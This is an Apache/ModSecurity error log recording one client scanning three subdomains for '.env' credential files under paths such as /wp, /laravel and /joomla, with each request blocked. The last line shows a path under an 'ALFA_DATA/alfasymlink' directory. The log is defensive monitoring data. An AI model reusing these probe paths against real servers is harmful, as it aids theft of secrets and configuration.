[Sun Oct 25 02:19:17.595648 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJgAAAAs"]
[Sun Oct 25 02:19:17.595913 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJgAAAAs"]
[Sun Oct 25 02:19:17.597799 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-wAAAAk"]
[Sun Oct 25 02:19:17.597939 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-wAAAAk"]
[Sun Oct 25 02:19:17.598218 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-wAAAAk"]
[Sun Oct 25 02:19:17.599270 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb6AAAADk"]
[Sun Oct 25 02:19:17.599447 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb6AAAADk"]
[Sun Oct 25 02:19:17.599703 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb6AAAADk"]
[Sun Oct 25 02:19:17.917710 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJwAAAAs"]
[Sun Oct 25 02:19:17.917942 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJwAAAAs"]
[Sun Oct 25 02:19:17.918234 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJwAAAAs"]
[Sun Oct 25 02:19:17.919357 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb6QAAADk"]
[Sun Oct 25 02:19:18.076325 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb6QAAADk"]
[Sun Oct 25 02:19:17.930595 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3_AAAAAk"]
[Sun Oct 25 02:19:18.187758 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3_AAAAAk"]
[Sun Oct 25 02:19:18.188195 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3_AAAAAk"]
[Sun Oct 25 02:19:18.188333 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3_AAAAAk"]
[Sun Oct 25 02:19:18.188354 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3_AAAAAk"]
[Sun Oct 25 02:19:18.154584 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKAAAAAs"]
[Sun Oct 25 02:19:18.201251 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKAAAAAs"]
[Sun Oct 25 02:19:18.201556 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKAAAAAs"]
[Sun Oct 25 02:19:18.177985 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb6QAAADk"]
[Sun Oct 25 02:19:18.464104 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKQAAAAs"]
[Sun Oct 25 02:19:18.464324 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKQAAAAs"]
[Sun Oct 25 02:19:18.464658 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKQAAAAs"]
[Sun Oct 25 02:19:18.464823 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb6gAAADk"]
[Sun Oct 25 02:19:18.465001 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb6gAAADk"]
[Sun Oct 25 02:19:18.465276 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb6gAAADk"]
[Sun Oct 25 02:19:18.466016 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_QAAAAk"]
[Sun Oct 25 02:19:18.466166 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_QAAAAk"]
[Sun Oct 25 02:19:18.466388 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_QAAAAk"]
[Sun Oct 25 02:19:18.692832 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb6wAAADk"]
[Sun Oct 25 02:19:18.693103 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb6wAAADk"]
[Sun Oct 25 02:19:18.693414 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZmTNY6y0aXZ6joCb6wAAADk"]
[Sun Oct 25 02:19:18.698042 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_gAAAAk"]
[Sun Oct 25 02:19:18.698187 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_gAAAAk"]
[Sun Oct 25 02:19:18.698407 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at2fZjaSD7UWGB8jzmt3_gAAAAk"]
[Sun Oct 25 02:19:18.728901 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKgAAAAs"]
[Sun Oct 25 02:19:18.729087 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKgAAAAs"]
[Sun Oct 25 02:19:18.729318 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at2fZnqPPT_6tJCMTRvuKgAAAAs"]
[Sun Oct 25 02:19:18.891669 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 54.210.155.69:15854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:04/physical_node/rom
